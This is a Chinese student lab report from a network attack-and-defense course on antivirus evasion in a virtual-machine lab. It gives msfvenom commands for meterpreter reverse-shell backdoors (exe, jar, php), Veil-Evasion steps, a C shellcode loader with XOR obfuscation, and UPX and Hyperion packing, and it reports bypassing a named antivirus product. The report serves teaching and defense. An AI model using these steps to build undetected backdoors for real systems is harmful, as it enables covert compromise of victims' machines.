2017-2018-2 20155314《网络对抗技术》Exp3 免杀原理与实践

2017-2018-2 20155314《网络对抗技术》Exp3 免杀原理与实践

目录

实验要求

  1. 正确使用msf编码器,msfvenom生成如jar之类的其余文件,veil-evasion,本身利用shellcode编程等免杀工具或技巧(1.5分)php

  2. 经过组合应用各类技术实现恶意代码免杀(1分)(若是成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)html

  3. 用另外一电脑实测,在杀软开启的状况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)java

返回目录linux

实验环境

  • macOS下Parallels Desktop虚拟机中(网络源均设置为NAT模式):
    • Windows 7 - 64bit(IP为10.211.55.13
    • Kali Linux - 64bit(IP为10.211.55.10
  • 杀软:腾讯电脑管家(版本12.13.19475.203)

返回目录git

预备知识

  1. 杀软是如何检测出恶意代码的?
    • 基于特征码的检测:恶意代码中通常会有一段有较明显特征的代码也就是特征码,若是杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序看成恶意软件。
    • 启发式恶意软件检测:启发式Heuristic,简单来讲,就是根据些片面特征去推断。一般是由于缺少精确断定依据。对恶意软件检测来主说,就是若是一个软件在干一般是恶意软件干的事,看起来了像个恶意软件,那咱们就把它当成一个恶意软件吧。典型的行为如链接恶意网站、开放端口、修改系统文件,典型的“外观”如文件自己签名、结构、厂商等信息等。各个厂商会定义本身的检测模式。
    • 基于行为的恶意软件检测:经过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,并且比较特殊。因此当一个程序在运行时,杀毒软件会监视其行为,若是发现了这种特殊的行为,则会把它当成恶意软件。
  2. 免杀是作什么?
    • 免杀就是让安插的后门不被AV(Anti-virus)软件发现。通常是对恶意软件作处理,让它不被杀毒软件所检测。免杀也是渗透测试中须要使用到的技术。
  3. 免杀的基本方法有哪些?
    • 改变特征码
      • 若是你手里只有EXE
        • 加壳:压缩壳 加密壳
      • 有shellcode(像Meterpreter)
        • 用encode进行编码
        • 基于payload从新编译生成可执行文件
      • 有源代码
        • 用其余语言进行重写再编译(veil-evasion)
    • 改变行为
      • 通信方式
        • 尽可能使用反弹式链接
        • 使用隧道技术
        • 加密通信数据
      • 操做模式
        • 基于内存操做
        • 减小对系统的修改
        • 加入混淆做用的正常功能代码
    • 很是规方法
      • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
      • 使用社工类攻击,诱骗目标关闭AV软件
      • 纯手工打造一个恶意软件

返回目录程序员

实验步骤

1 免杀效果实测

1.1 恶意代码生成工具

恶意代码功能也是重复相似的,程序员最不屑于作的就是一样的代码写屡次。因此就产生了恶意代码的生成工具,能够用原始的功能代码按需组合生成不一样的可执行文件,现加上不一样的免杀手段。常见的如msfvenom,veil-evasion,backdoor-factory等。github

对于这种状况,AV厂商固然是要尽可能找到如msfvenom生成软件的特征,而不是搜集全部生成结果的特征了。其结果就是只要msfvenom生成的exe就会检测到,无论你是用了什么编码器,迭代编码的多少次。算法

在免杀过程当中,咱们就会使用这样的工具来生成恶意代码,并测试其免杀效果。shell

返回目录编程

1.2 免杀效果的评价

1.2.1 VirusTotal、Virscan

集成了60多个商业杀毒软件的扫描引擎。能够上传免杀处理过的程序进行检测。

若是上传的程序全部软件都杀不出来,virustotal就会把它交给AV厂商们了,而后...在杀毒库更新前,你还可使用一段时间。

Virustatol不包括各AV软件的行为分析部分(behavioral analysis)。但它本身开发了本身的行为分析引擎。太慢,还没试用。

https://www.virustotal.com/,最近奇慢,缘由不明
http://www.virscan.org/ 国内的相似virtustotal

返回目录

1.2.2 免杀效果参考基准

msfvenom直接生成meterpreter可执行文件,检出率为46/57。57个扫描引擎中有46中把它识别为病毒。咱们以此为参照,看通过免杀处理的应用在Virustotal上的识别率高了仍是低了。

序号 免杀方式 可用性测试 测试主机OS/AV VirusTotal VirScan
1 msfvenom直接生成 关闭杀软可用 Win7_64+MSSE 46/57 16/39
2 msfvenom 编码一次 关闭杀软可用 Win7_64+MSSE 45/57 15/39
2 msfvenom 屡次编码 关闭杀软可用 Win7_64+MSSE 45/57 16/39
2 Veil-evasion 开启杀软可用 Win7_64+MSSE 19/58 5/39
2 C+shellcode 开启杀软可用 Win10+腾讯管家/Bitdefender 1/39
2 UPX压缩壳 40/57 17/39
2 Hyperion 18/57 8/39
... ...

返回目录

1.3 Msfvenom

1.3.1 Msfvenom使用编码器

Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度。理所固然,全部AV厂家都盯着呢,一有新编码算法,立刻就得加到特征库里呀。

编码后呢,按理论上讲,编码会下降检出率,大不了多编码几回,总会检不出来。

  • 直接输入命令msfvenom便可查看相关用法:
  • 编码一次命令以下(用-e参数编码):

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=10.211.55.10 LPORT=5314 -f exe > 5314encoded10.exe

  • 编码十次命令以下(用-i参数指定编码次数):

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=10.211.55.10 LPORT=5314 -f exe > 5314encoded10.exe

    仍是8个引擎报毒啊!这招很差使!

1.3.2 Msfvenom生成jar等其余文件
  • 用命令msfvenom -p java/meterpreter/reverse_tcp LHOST=10.211.55.10 LPORT=5314 x> 20155314_backdoor_java.jar生成.jar文件:
  • 用命令msfvenom -p php/meterpreter/reverse_tcp LHOST=10.211.55.10 LPORT=5314 x> 20155314_backdoor.php生成php文件(可用于网页挂马):

返回目录

1.4 Veil-Evasion

Veil-Evasion是一个免杀平台,与Metasploit有点相似,在Kalil软件库中有,但默认没装。免杀效果比较好。官网上有视频教程。

  • sudo apt-get install veil命令安装Veil,若遇到问题则用sudo apt-get updatesudo apt-get upgrade这两个命令更新一下软件包便可:
  • 以后用veil命令打开Veil,输入y继续安装直至完成,之间可能等待较长时间:
  • use evasion命令进入Evil-Evasion:
  • 输入命令use c/meterpreter/rev_tcp.py进入配置界面,先设置输出.exe文件名:
  • set LHOST kali-ip命令设置ip,用set LPORT PORT命令设置端口号:
  • 再用generate命令生成.exe文件:
    如图所示,保存路径为:/var/lib/veil/output/compiled/20155314.exe
  • 先上传至Virscan试试水?
    打广告???冤枉啊(我喂本身袋盐!!!)那就改为5314.exe吧~
  • 用实验二所学知识将后门5314.exe传到Windows 7并尝试回连:
    • Windows下用命令行进入ncat目录,输入命令ncat.exe -lv 5314 > 5314.exe打开监听;
    • Kali下输入命令ncat -nv 10.211.55.13 5314 < 5314.exe发送后门到Windows:
      以下图,发送成功:
    • 在Kali中输入msfconsole命令用MSF打开监听进程(这回怎么又是那只兔子),再依次输入如下命令:
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST 10.211.55.10 //此处仍然为Linux的IP
    set LPORT 5314
    exploit
    • Windows进入ncat目录下找到刚刚传过去的后门并双击运行5314.exe,此时win7上的杀软——腾讯电脑管家终于坐不住了,直接强制给它隔离并弹窗警告⚠️!!!
    • 实验须要,咱们选择给它加入信任区(平时可不敢这么干啊( ̄∇ ̄)):
      从新双击后门,发现已经能够回连
      调摄像头什么的上回玩腻了,此次就再也不玩了( ̄∇ ̄)~
  • 分别上传至Virscan和VirusTotal上测测看:
    • Virscan扫描结果以下:
      emmmm彷佛感受有些良好?别得意的太早!
    • VirusTotal扫描结果以下:
      什么?居然沦陷了半壁江山?!讽刺的是对比Virscan扫描结果,发现一样的几款杀毒引擎居然一个报毒另外一个安全???这不科学啊(>﹏<)

返回目录

1.5 C语言调用Shellcode

1.5.1 Linux平台交叉编译Windows应用
  • 使用命令msfvenom -p windows/meterpreter/reverse_http LHOST=10.211.55.10 LPORT=5314 -f c生成一个c语言格式的shellcode数组:
  • 把上面的数组拿来编写一个程序,用vim 5314shellcode.c命令新建一个c文件,将生成的shellcode粘贴到其中,并在以后添加主函数:
    int main() { int (*func)() = (int(*)())buf; func(); }
  • 再用i686-w64-mingw32-g++ 5314shellcode.c -o 5314shellcode.exe命令生成可执行文件:
  • 将后门5314shellcode.exe传到Windows 7并尝试回连:
    • win7下输入ncat.exe -lv 5314 > 5314shellcode.exe;
    • Kali下输入ncat -nv 10.211.55.13 5314 < 5314shellcode.exe;
    • Kali下输入msfconsole相关命令;
    • win7下打开5314shellcode.exe——

      妈嗨!被腾讯电脑管家查杀了QAQ!后门太low了没办法找回呗……从新打开后门:

      这.....崩了?ಠ_ಠ
      不过貌似不影响回连的成功嘿嘿:
  • 最后战战兢兢地上传至virscan.org(>﹏<):

    呃啊效果彷佛还不咋样啊😒😒多是名字的缘由?😂

返回目录

1.5.2 对shellcode进行免杀变形
  • 基于Windows平台的shellcode免杀的实现思路主要是经过对上面用msfvenom生成的shellcode数组进行一系列变形从而欺骗杀软。这里咱们先将上面的shellcode与'x'执行异或操做,而后分配一些内存,拷贝字符数组到分配的内存中,最后执行它。须要特别注意的是,必须先将shellcode与选择的关键字'x'进行异或操做,而后将 shellcode放入到写好的代码中并编译:
    • 通过与'x'异或操做后的shellcode代码:
    • 上传至virscan.org检测:
      能够哦!检测率大大下降!已经能够骗过virscan上集成的绝大多数杀软~
    • 用virustotal试试:
      哈哈哈哈哈哈不过不得不认可微软的杀毒引擎仍是很强大的居然知道我用的是Meterpreter👍👍
    • 最使人遗(xing)憾(fen)的是,这回终于绕过了“强大”的电脑管家!这就是传说中的后门与杀软共生?!也算是成功吧嘻嘻!

返回目录

1.6 加壳

加壳的全称应该是可执行程序资源压缩,压缩后的程序能够直接运行。

加壳的另外一种经常使用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,以后再把控制权交还给原始代码,这样作的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。

加壳的程序须要阻止外部程序或软件对加壳程序自己的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。

这种技术也经常使用来保护软件版权,防止软件被破解。但对于病毒,加壳能够绕过一些杀毒软件的扫描,从而实现它做为病毒的一些入侵或破坏的一些特性。

MSF的编码器使用相似方法,对shellcode进行再编码。

从技术上分壳分为:

  • 压缩壳
    • 减小应用体积,如ASPack,UPX
  • 加密壳
    • 版权保护,反跟踪。如ASProtect,Armadillo
  • 虚拟机
    • 经过相似编译手段,将应用指令转换为本身设计的指令集。如VMProtect,Themida

1.6.1 压缩壳UPX
  • Kali下输入命令upx 5314shellcode.exe -o 5314shellcode.upxed.exe
  • 永不服输!传过去!再上传到virscan.org看看!
    终于有进步了~😌

返回目录

1.6.2 加密壳Hyperion
  • 进入目录/usr/share/windows-binaries/hyperion/中;
  • 输入命令wine hyperion.exe -v 5314shellcode.upxed.exe 5314shellcode.upxed.Hyperion.exe进行加壳:


  • 来来来,拉到virscan.org检验一下……

    ???这壳我仍是不加了吧……

返回目录

1.6.3 扩展阅读

加壳软件有不少商业版,主要目标是为了版权保护,防止逆向分析。更多内容见wiki相关词条。

https://en.wikipedia.org/wiki/Executable_compression

返回目录

1.7 行为分析

VirScan有行为分析引擎,会给出一个安全评分。越高越安全。

上传完目标文件后,等待一下子,(1)从新上传,会提示你该文件已经分析过了,可直接查看报告;(2)或点击左侧的“查看报告”,从列表中找出你上传文件的报告页面。以下图,再点击“文件行为分析”。

下图分别是通过加密壳处理和压缩壳处理的两个文件的行为分析结果。

在真正的实践中,如下技术也有可能被应用到:

  • 改变行为
    • 通信方式
      • 尽可能使用反弹式链接:meterpreter自己即主要使用反弹链接
      • 使用隧道技术:如dns2tcp、iodine可将流量封闭为DNS协议包
      • 加密通信数据:如使用reverse-https进行转发
    • 操做模式
      • 基于内存操做:meterpreter是基于内存操做的操做的
      • 减小对系统的修改

返回目录

2 恶意软件防范措施

  • 思想上
    1. 清楚本身操做的风险度
    2. 清楚本身操做目标的可信度
  • 行为上
    1. 在可信网站下载应用。大部分非官方下载站点都存在绑捆、夹带等准恶意行为。包括中国IT几巨头。
    2. 理解官网上MD5值的用途,并使用其校验下载内容。
    3. 使用正版、官方、开源软件。
  • 具体技术手段
    1. 安装可信的防病毒软件并即时更新
    2. 理解并管理好防火墙进出站规则
    3. 会用工具监控进程操做:如文件操做、注册表操做、网络链接与通信内容
    4. 会使用沙箱技术分析可疑软件
    5. 会使用沙箱隔离可能受到攻击的应用

返回目录

实验中遇到的问题及解决过程

返回目录

实验总结与体会

  杀软并非万能的。此次实验让我充分认识到了杀软的局限性以及杀软在面对一些精心制做的后门时几乎是毫无用处的,最关键的是制做这样一个免杀后门的技术门槛和成本是很是低的。此外,因为杀软在电脑上具备相对较高的权限,它们是否私自收集和泄漏用户数据隐私也饱受世人怀疑。总之,咱们不能过于依赖杀软
  veil-evasion和半手工编程当前免杀效果最好。基本能够绕过主流AV软件。已有的编码、加壳、加密软件,须要把解压、解密代码加入到可执行文件中,这些代码片段会被检测出。加壳、加密的思路+半手工的payload多是一种可行的方式,但须要更多测试。最牛的固然是本身开发,开发这样通用的工具可能工做量仍是很是大的,好在有前人的工做能够参考像kkrunchy还有HackingTeam泄露出来的 core-packer
返回目录

参考资料

返回目录

相关文章
相关标签/搜索